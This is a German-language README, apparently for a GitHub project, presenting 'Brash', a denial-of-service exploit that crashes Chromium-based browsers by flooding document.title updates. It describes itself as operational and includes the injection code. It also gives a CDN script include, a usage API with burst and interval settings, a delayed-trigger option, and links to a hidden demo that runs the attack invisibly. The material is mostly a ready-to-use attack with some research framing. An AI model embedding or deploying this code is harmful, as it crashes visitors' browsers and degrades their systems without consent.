
Chromium Browser DoS-Angriff durch Ausnutzung von document.title

Brash ist eine kritische Schwachstelle in Blink, der Rendering-Engine, die Google Chromium-basierte Browser antreibt. Sie ermöglicht es, jeden Chromium-Browser innerhalb von 15-60 Sekunden zum Absturz zu bringen, indem ein Architekturfehler in der Verwaltung bestimmter DOM-Operationen ausgenutzt wird.
Der Angriffsvektor resultiert aus dem völligen Fehlen einer Ratenbegrenzung für document.title-API-Updates. Dadurch können Millionen von DOM-Mutationen pro Sekunde injiziert werden, was den Hauptthread sättigt, die Ereignisschleife stört und zum Zusammenbruch der Benutzeroberfläche führt. Die Auswirkungen sind erheblich: hohe CPU-Auslastung, Verschlechterung der Gesamtsystemleistung und mögliche Blockierung oder Verlangsamung anderer gleichzeitig laufender Prozesse. Da Chromium-Browser auf Desktop, Android und in eingebetteten Umgebungen betroffen sind, setzt diese Schwachstelle über 3 Milliarden Menschen im Internet einem Denial-of-Service auf Systemebene aus.
STATUS: Betriebsbereit
BETROFFENE VERSIONEN: Chromium ≤ 143.0.7483.0 (getestet: 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)
[!NOTE] Der Exploit ist derzeit betriebsbereit. Sobald die Schwachstelle behoben ist, wird dieser Code nicht mehr funktionieren. Unabhängig davon war es eine unglaublich lohnende Reise, diesen Architekturfehler zu entdecken und den gesamten Forschungs-, Dokumentations- und Designprozess abzuschließen, um etwas Wirkungsvolles mit der Welt zu teilen.
11 große Browser wurden auf macOS, Windows und Linux getestet, um die Auswirkungen der Schwachstelle zu validieren.
Alle Chromium-basierten Browser sind anfällig, da der Fehler im Kern der Blink-Rendering-Engine liegt:
Brash nutzt einen grundlegenden Architekturfehler in der Blink-Rendering-Engine aus: das Fehlen einer Drosselung von document.title-Updates. Der Angriff läuft in drei kritischen Phasen ab:
Erzeugt 100 eindeutige hexadezimale Zeichenfolgen mit 512 Zeichen und speichert sie im Speicher, bevor der Angriff beginnt.
Warum werden sie vorab geladen und nicht in Echtzeit generiert?
Weil das ständige Generieren neuer Zeichenfolgen CPU-Zeit für mathematische Operationen verbraucht. Diese Zeit ist entscheidend – jede Millisekunde, die für das Generieren von Zeichenfolgen aufgewendet wird, ist Zeit, die NICHT dafür genutzt wird, den Browser mit document.title-Updates zu bombardieren.
Durch 100 bereits im Speicher geladene Zeichenfolgen:
Das Ergebnis ist eine maximale Injektionsgeschwindigkeit bei maximalem Speicherverbrauch pro Update.
// Generiert hochgradig entropische eindeutige IDs
gid: function() {
let id = "";
for (let i = 0x0; i < 0x200; i++) {
id += ((Math.random() * 0x10) | 0x0).toString(0x10);
}
return id;
}
Führt konfigurierbare Schübe von Titelaktualisierungen aus. Mit der Standardkonfiguration (Burst: 8000, Intervall: 1 ms) wird versucht, etwa 24 Millionen Aktualisierungen pro Sekunde zu injizieren, und während dieses Versuchs beginnt der Browser zusammenzubrechen.
// Dreifach-Aktualisierungsmuster: Maximiert das Thrashing der Rendering-Pipeline
inject: function() {
const t = this.titles[Math.random() * this.titles.length | 0x0];
for (let i = 0x0; i < 0x3; i++) {
document.title = t + i; // Jeder Burst führt 3 sequentielle Updates durch
}
this.counter += 0x3;
}
Kontinuierliche Updates sättigen den Hauptthread des Browsers und verhindern die Verarbeitung anderer Ereignisse:
Zeitstrahl des Zusammenbruchs:
Warum funktioniert es?
Blink verarbeitet jede document.title-Änderung synchron auf dem Hauptthread ohne Ratenbegrenzung. Dies erzeugt einen Engpass, der:
Um die Auswirkungen von Brash vollständig zu verstehen, können Sie den Exploit in verschiedenen Kontexten erleben – von einer kontrollierten Live-Demo bis hin zu Ihrer eigenen Implementierung. Jede Option ist für unterschiedliche Interaktions- und Verständnisebenen konzipiert.
Der schnellste Weg, Brash in Aktion zu sehen. Besuchen Sie https://brash.run
Um den Exploit ohne grafische Oberfläche zu sehen, besuchen Sie https://brash.run/hidden-live-demo.html. Diese Version führt die Injektion unsichtbar aus und simuliert einen echten Angriff.
Wenn Sie die Demo lieber in Ihrer eigenen Umgebung ausführen möchten, ermöglicht Ihnen das Verzeichnis exploit-demo/ im Repository Folgendes:
Öffnen Sie einfach exploit-demo/index.html in einem beliebigen Chromium-Browser und konfigurieren Sie die Werte für burst und interval, bevor Sie beginnen.
Um Brash in Ihre eigenen Sicherheitstests oder Forschungen zu integrieren, binden Sie das Skript ein und konfigurieren Sie den Angriff:
Skript einbinden:
<!-- Lokal -->
<script src="brash.js"></script>
<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>
API-Nutzung:
// 1. Sofortiger Angriff
Brash.run({
burstSize: 8000,
interval: 1
});
// 2. Verzögerung in Sekunden (Standard)
Brash.run({
burstSize: 8000,
interval: 1,
delay: 30 // 30 Sekunden
});
// 3. Verzögerung mit Zeichenfolgen
Brash.run({
burstSize: 8000,
interval: 1,
delay: "30s" // oder "5000ms" oder "3m"
});